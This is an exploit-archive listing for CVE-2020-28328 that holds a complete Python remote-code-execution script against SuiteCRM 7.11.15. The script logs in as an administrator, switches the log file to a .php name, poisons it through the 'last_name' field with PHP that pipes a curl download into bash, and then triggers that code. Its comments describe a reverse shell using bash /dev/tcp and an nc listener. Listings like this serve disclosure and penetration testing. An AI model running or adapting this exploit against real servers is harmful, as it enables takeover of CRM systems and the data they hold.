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SuiteCRM 7.11.15 Remote Code Execution

SuiteCRM 7.11.15 Remote Code Execution
Posted Nov 9, 2020
Authored by M. Cory Billington

SuiteCRM version 7.11.15 suffers from an authenticated remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-28328
SHA-256 | 01765bb0c089aa14728aa27a9a2f9df90fd877e20b6db152f7b1c4f203fe3d3f

SuiteCRM 7.11.15 Remote Code Execution

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# Exploit Title: SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated)
# Date: 08 NOV 2020
# Exploit Author: M. Cory Billington (@_th3y)
# Vendor Homepage: https://suitecrm.com/
# Software Link: https://github.com/salesagility/SuiteCRM
# Version: 7.11.15 and below
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2020-28328
# Writeup: https://github.com/mcorybillington/SuiteCRM-RCE

from requests import Session
from random import choice
from string import ascii_lowercase

url = "http://127.0.0.1/" # URL to remote host web root
post_url = "{url}index.php".format(url=url)
user_name = "admin" # User must be an administrator
password = "admin"
prefix = 'shell-'
file_name = '{prefix}{rand}.php'.format(
prefix=prefix,
rand=''.join(choice(ascii_lowercase) for _ in range(6))
)

# *Recommend K.I.S.S as some characters are escaped*
# Example for reverse shell:
# Put 'bash -c '(bash -i >& /dev/tcp/127.0.0.1/8080 0>&1)&' inside a file named shell.sh
# Stand up a python web server `python -m http.server 80` hosting shell.sh
# Set a nc listener to catch the shell 'nc -nlvp 8080'
command = '<?php `curl -s http://127.0.0.1/shell.sh | bash`; ?>'.format(fname=file_name)

# Admin login payload
login_data = {
"module": "Users",
"action": "Authenticate",
"return_module": "Users",
"return_action": "Login",
"user_name": user_name,
"username_password": password,
"Login": "Log+In"
}

# Payload to set logging to 'info' and create a log file in php format.
modify_system_settings_data = {
"action": (None, "SaveConfig"),
"module": (None, "Configurator"),
"logger_file_name": (None, file_name), # Set file extension in the file name as it isn't checked here
"logger_file_ext": (None, ''), # Bypasses file extension check by just not setting one.
"logger_level": (None, "info"), # This is important for your php code to make it into the logs
"save": (None, "Save")
}

# Payload to put php code into the malicious log file
poison_log = {
"module": (None, "Users"),
"record": (None, "1"),
"action": (None, "Save"),
"page": (None, "EditView"),
"return_action": (None, "DetailView"),
"user_name": (None, user_name),
"last_name": (None, command),
}

# Payload to restore the log file settings to default after the exploit runs
restore_log = {
"action": (None, "SaveConfig"),
"module": (None, "Configurator"),
"logger_file_name": (None, "suitecrm"), # Default log file name
"logger_file_ext": (None, ".log"), # Default log file extension
"logger_level": (None, "fatal"), # Default log file setting
"save": (None, "Save")
}

# Start of exploit
with Session() as s:

# Authenticating as the administrator
s.get(post_url, params={'module': 'Users', 'action': 'Login'})
print('[+] Got initial PHPSESSID:', s.cookies.get_dict()['PHPSESSID'])
s.post(post_url, data=login_data)
if 'ck_login_id_20' not in s.cookies.get_dict().keys():
print('[-] Invalid password for: {user}'.format(user=user_name))
exit(1)
print('[+] Authenticated as: {user}. PHPSESSID: {cookie}'.format(
user=user_name,
cookie=s.cookies.get_dict()['PHPSESSID'])
)

# Modify the system settings to set logging to 'info' and create a log file in php format
print('[+] Modifying log level and log file name.')
print('[+] File name will be: {fname}'.format(fname=file_name))
settings_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)}
s.post(post_url, headers=settings_header, files=modify_system_settings_data)

# Post to update the administrator's last name with php code that will poison the log file
print('[+] Poisoning log file with php code: {cmd}'.format(cmd=command))
command_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)}
s.post(url, headers=command_header, files=poison_log)

# May be a good idea to put a short delay in here to allow your code to make it into the logfile.
# Up to you though...

# Do a get request to trigger php code execution.
print('[+] Executing code. Sending GET request to: {url}{fname}'.format(url=url, fname=file_name))
execute_command = s.get('{url}/{fname}'.format(url=url, fname=file_name), timeout=1)
if not execute_command.ok:
print('[-] Exploit failed, sorry... Might have to do some modifications.')

# Restoring log file to default
print('[+] Setting log back to defaults')
s.post(post_url, headers=settings_header, files=restore_log)

print('[+] Done. Clean up {fname} if you care...'.format(fname=file_name))
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